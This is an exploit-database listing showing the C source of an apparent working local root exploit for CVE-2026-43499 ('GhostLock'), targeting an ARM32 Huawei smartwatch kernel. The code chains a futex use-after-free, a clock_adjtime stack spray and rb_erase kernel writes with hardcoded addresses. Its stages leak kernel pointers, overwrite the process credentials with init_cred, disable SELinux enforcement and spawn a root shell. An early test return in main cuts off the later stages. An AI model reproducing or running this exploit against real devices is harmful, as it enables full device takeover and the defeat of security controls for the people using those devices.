Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- ghostlock_v11_kgsl_preadv2.c
- ghostlock_v6a_kgsl_getdents64.c
- ghostlock_v7_clock_adjtime.c
- ghostlock_v7t1.c
- ghostlock_v7t2.c
- test_perf.c
- test_perf2.c
- test_perf3.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/variants/ghostlock_v7t2.c
C · 11,257 bytes/*
* CVE-2026-43499 (GhostLock) ARM32 Root Exploit v7
* "clock_adjtime spray + rb_erase data-only write chain"
*
* Target: Huawei Watch 4 Pro (MDS-AL00), SW5100, armv7l, kernel 5.4.210
*
* Mechanism (all offsets verified via kernel_raw.bin disassembly):
* - UAF: FUTEX_CMP_REQUEUE_PI EDEADLK rollback leaves pi_blocked_on dangling
* to freed rt_mutex_waiter at do_futex frame (SP0-0xE8, SP0-relative).
* - Spray: clock_adjtime(405) copies 208-byte timex to [SP0-0xF8, SP0-0x28)
* which fully covers the waiter (waiter+0 == timex+0x10). modes=1 -> EPERM
* before any kernel-side modification of the stack copy.
* - Chain walk (sched_setattr): rb_erase(&waiter->tree_entry, &lock->waiters)
* Case-1 (rb_left==0): __rb_change_child writes child to *(parent+4);
* if child!=0 also writes pc to *child; NO rebalance. Then rt_mutex_enqueue
* writes &waiter->tree_entry to lock->waiters.rb_root (+4) and rb_leftmost(+8).
*
* Write primitives:
* P1 (child!=0): *(parent+4)=child ; *(child)=parent|1 (no rebalance)
* P0 (child==0): *(parent+4)=0 (pc red -> no rebalance)
* ENQ: *(fake_lock+4)=waiter_stack_addr, *(fake_lock+8)=same
*
* Chain:
* Run1: fake_lock=kptr_restrict-4; erase clears it, enqueue leaks waiter
* stack addr via /proc/sys/kernel/kptr_restrict (vessel stack base!)
* Run2: P1: *(vessel_ti+8) = vessel_sb+0x1000 (addr_limit elevation)
* ----: vessel pipe-trick reads *(vessel_ti+0xc) = its task_struct ptr
* Run3: P1: *(vessel_task+0x61c) = init_cred (cred)
* Run4: P1: *(vessel_task+0x620) = init_cred (real_cred)
* -> vessel getuid()==0 -> execve root shell (init_cred: kernel SELinux SID)
*
* Build: zig cc -target arm-linux-musleabi -O2 -static -o v7 ghostlock_v7.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <time.h>
/* ---- syscall numbers (ARM EABI) ---- */
#define NR_futex 240
#define NR_gettid 224
#define NR_sched_setattr 380
#define NR_clock_adjtime64 405
/* ---- kernel addresses (kallsyms_parsed.txt, no KASLR) ---- */
#define INIT_TASK 0xc1b11640u
#define INIT_CRED 0xc1b17e60u
#define KPTR_RESTRICT 0xc1b11138u /* int kptr_restrict, /proc readable */
#define FAKE_LOCK_LEAK (KPTR_RESTRICT - 4) /* wait_lock=0,owner=0 verified */
#define FAKE_LOCK_SCRATCH 0xc141f5d4u /* null_fops+0x24: zeros, owner=0 */
/* task_struct offsets (verified) */
#define TASK_CRED_OFF 0x61c
#define TASK_REAL_CRED_OFF 0x620
struct sched_attr {
uint32_t size, sched_policy;
uint64_t sched_flags;
int32_t sched_nice;
uint32_t sched_priority;
uint64_t sched_runtime, sched_deadline, sched_period;
};
/* ---- per-run futex state ---- */
static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int w_ready, w_waiting, o_started;
static volatile int go_spray, stamped, walk_done;
/* ---- geometry for current run ---- */
static uint32_t g_tree_pc, g_tree_right, g_tree_left, g_fake_lock;
/* ---- vessel state ---- */
static volatile int v_phase; /* 0=park,1=do pipe trick,2=check root */
static uint32_t g_vessel_sb; /* vessel kernel stack base (leaked) */
static uint32_t g_vessel_task; /* vessel task_struct (leaked) */
static volatile int g_task_ready;
static void mark(const char *m) {
int fd = open("/data/local/tmp/v7state", O_WRONLY|O_CREAT|O_APPEND, 0644);
if (fd >= 0) { write(fd, m, strlen(m)); write(fd, "\n", 1); close(fd); }
}
static void fx(uint32_t *u, int op, uint32_t v, void *ts, uint32_t *u2, uint32_t v3)
{ syscall(NR_futex, u, op, v, ts, u2, v3); }
#define f_lockpi(u) fx(u, FUTEX_LOCK_PI, 0, 0, 0, 0)
#define f_waitrqpi(u,u2) fx(u, FUTEX_WAIT_REQUEUE_PI, 0, &(struct timespec){0,50000000}, u2, 0)
#define f_cmprqpi(u,u2) fx(u, FUTEX_CMP_REQUEUE_PI, 1, (void*)1, u2, 0)
static void f_wake(volatile int *u){ syscall(NR_futex,(int*)u,FUTEX_WAKE,1,0,0,0); }
static void f_waiti(volatile int *u,int v){ syscall(NR_futex,(int*)u,FUTEX_WAIT,v,0,0,0); }
static void wait_chg(volatile int *u,int v){ while(*u==v) f_waiti(u,v); }
static volatile int w_tid;
/* ---- clock_adjtime spray: 208B timex covers waiter (waiter+0 = timex+0x10) ---- */
static void spray(void) {
uint32_t t[52];
memset(t, 0, sizeof(t));
t[0] = 1; /* modes=ADJ_OFFSET -> EPERM fast path, no clobber */
t[4] = g_tree_pc; /* waiter+0x00 tree_entry.__rb_parent_color */
t[5] = g_tree_right; /* waiter+0x04 tree_entry.rb_right */
t[6] = g_tree_left; /* waiter+0x08 tree_entry.rb_left */
t[7] = 0; /* waiter+0x0c pi_tree_entry.pc */
t[8] = 0; /* waiter+0x10 pi_tree_entry.right */
t[9] = 0; /* waiter+0x14 pi_tree_entry.left */
t[10] = INIT_TASK; /* waiter+0x18 task */
t[11] = g_fake_lock; /* waiter+0x1c lock */
t[12] = 0; /* waiter+0x20 prio (walk overwrites) */
syscall(NR_clock_adjtime64, 0, t, 0);
}
/* ---- threads ---- */
static void *owner_fn(void *a) {
(void)a;
f_lockpi(&f_pi_target);
while (!w_ready) usleep(500);
o_started = 1;
f_lockpi(&f_pi_chain);
for (;;) pause();
}
static void *consumer_fn(void *a) {
(void)a;
struct sched_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.sched_policy = 3;
attr.sched_nice = 19;
wait_chg(&stamped, 0);
long r = syscall(NR_sched_setattr, w_tid, &attr, 0);
printf(" [consumer] sched_setattr=%ld errno=%d\n", r, errno);
walk_done = 1; f_wake(&walk_done);
for (;;) pause();
}
static void *waiter_fn(void *a) {
(void)a;
w_tid = (int)syscall(NR_gettid);
f_lockpi(&f_pi_chain);
w_ready = 1;
while (!o_started) usleep(500);
w_waiting = 1;
f_waitrqpi(&f_wait, &f_pi_target);
/* UAF: pi_blocked_on dangling */
wait_chg(&go_spray, 0);
spray();
stamped = 1; f_wake(&stamped);
while (!walk_done) { } /* pure spin: keep kernel stack stable */
for (;;) pause();
}
/* vessel = run1 waiter; survives all runs, becomes root */
static void *vessel_fn(void *a) {
(void)a;
w_tid = (int)syscall(NR_gettid);
f_lockpi(&f_pi_chain);
w_ready = 1;
while (!o_started) usleep(500);
w_waiting = 1;
f_waitrqpi(&f_wait, &f_pi_target);
/* UAF */
wait_chg(&go_spray, 0);
spray();
stamped = 1; f_wake(&stamped);
while (!walk_done) { }
mark("vessel: walk_done seen");
/* phase 1: wait for run2 (addr_limit write) to land */
while (v_phase < 1) { }
/* pipe trick: leak task_struct via thread_info->task */
{
int p[2];
uint32_t task = 0;
if (pipe(p) == 0) {
long n = write(p[1], (void*)(g_vessel_sb + 0xc), 4);
if (n == 4) {
if (read(p[0], &task, 4) == 4)
g_vessel_task = task;
}
close(p[0]); close(p[1]);
}
g_task_ready = 1;
}
/* phase 2: wait for cred write, then check */
while (v_phase < 2) { }
if (getuid() == 0) {
printf("\n[+] *** ROOTED! uid=%d euid=%d ***\n", getuid(), geteuid());
int sefd = open("/sys/fs/selinux/enforce", O_WRONLY);
if (sefd >= 0) { write(sefd, "0", 1); close(sefd); }
char *args[] = {"/system/bin/sh", NULL};
char *envp[] = {"PATH=/sbin:/system/sbin:/system/bin:/system/xbin",
"HOME=/data/local/tmp", NULL};
execve("/system/bin/sh", args, envp);
perror("[-] execve");
} else {
printf("[-] vessel not root: uid=%d\n", getuid());
}
for (;;) pause();
return NULL;
}
/* ---- run one UAF+spray+walk cycle ---- */
static int run_one(uint32_t tree_pc, uint32_t tree_right, uint32_t tree_left,
uint32_t fake_lock, int use_vessel) {
pthread_t th;
f_wait = f_pi_target = f_pi_chain = 0;
w_ready = w_waiting = o_started = 0;
go_spray = stamped = walk_done = 0;
g_tree_pc = tree_pc; g_tree_right = tree_right;
g_tree_left = tree_left; g_fake_lock = fake_lock;
pthread_create(&th, NULL, owner_fn, NULL); usleep(2000);
pthread_create(&th, NULL, consumer_fn, NULL);
if (use_vessel) pthread_create(&th, NULL, vessel_fn, NULL);
else pthread_create(&th, NULL, waiter_fn, NULL);
while (!w_waiting || !o_started) usleep(500);
usleep(20000);
f_cmprqpi(&f_wait, &f_pi_target); /* EDEADLK trigger */
go_spray = 1; f_wake(&go_spray);
wait_chg(&stamped, 0);
mark("main: stamped seen");
wait_chg(&walk_done, 0);
mark("main: walk_done seen");
return 0;
}
static int read_kptr_restrict(void) {
char b[64] = {0};
int fd = open("/proc/sys/kernel/kptr_restrict", O_RDONLY);
if (fd < 0) { perror("open kptr_restrict"); return -1; }
int n = read(fd, b, sizeof(b) - 1);
close(fd);
if (n <= 0) return -1;
return (int)strtol(b, NULL, 0);
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== CVE-2026-43499 GhostLock ARM32 v7 [data-only chain] ===\n");
printf("[*] kptr_restrict leak chan = 0x%08x, init_cred = 0x%08x\n",
KPTR_RESTRICT, INIT_CRED);
if (sizeof(long) != 4) { fprintf(stderr, "need arm32\n"); return 1; }
/* ---- Run 1: leak vessel kernel stack address ---- */
printf("[*] Run 1: leak vessel stack via kptr_restrict...\n");
run_one(FAKE_LOCK_LEAK | 1, 0, 0, FAKE_LOCK_LEAK, 1);
int leak = read_kptr_restrict();
printf(" kptr_restrict now = 0x%08x\n", leak);
if (leak == 1 || leak == 0 || leak == -1) {
printf("[-] leak failed (unchanged)\n");
return 2;
}
g_vessel_sb = (uint32_t)leak & ~0x1fffu;
printf("TEST1 OK" + 0);
return 0;
printf("[+] vessel stack base = 0x%08x\n", g_vessel_sb);
/* ---- Run 2: elevate vessel addr_limit ---- */
printf("[*] Run 2: addr_limit write: *(0x%08x) = 0x%08x\n",
g_vessel_sb + 8, g_vessel_sb + 0x1000);
run_one((g_vessel_sb + 4) | 1, g_vessel_sb + 0x1000, 0,
FAKE_LOCK_SCRATCH, 0);
printf("[+] addr_limit write done\n");
/* ---- vessel pipe trick: leak task ---- */
v_phase = 1;
while (!g_task_ready) usleep(1000);
printf("[+] vessel task_struct = 0x%08x\n", g_vessel_task);
if (!g_vessel_task || (g_vessel_task & 3) || g_vessel_task < 0xc0000000u) {
printf("[-] task leak failed\n");
return 3;
}
/* ---- Run 3/4: cred + real_cred = init_cred ---- */
printf("[*] Run 3: cred write *(task+0x61c) = init_cred\n");
run_one((g_vessel_task + TASK_CRED_OFF - 4) | 1, INIT_CRED, 0,
FAKE_LOCK_SCRATCH, 0);
printf("[*] Run 4: real_cred write *(task+0x620) = init_cred\n");
run_one((g_vessel_task + TASK_REAL_CRED_OFF - 4) | 1, INIT_CRED, 0,
FAKE_LOCK_SCRATCH, 0);
printf("[+] cred writes done, checking root...\n");
v_phase = 2;
sleep(2);
printf("[-] vessel did not report root\n");
return 4;
}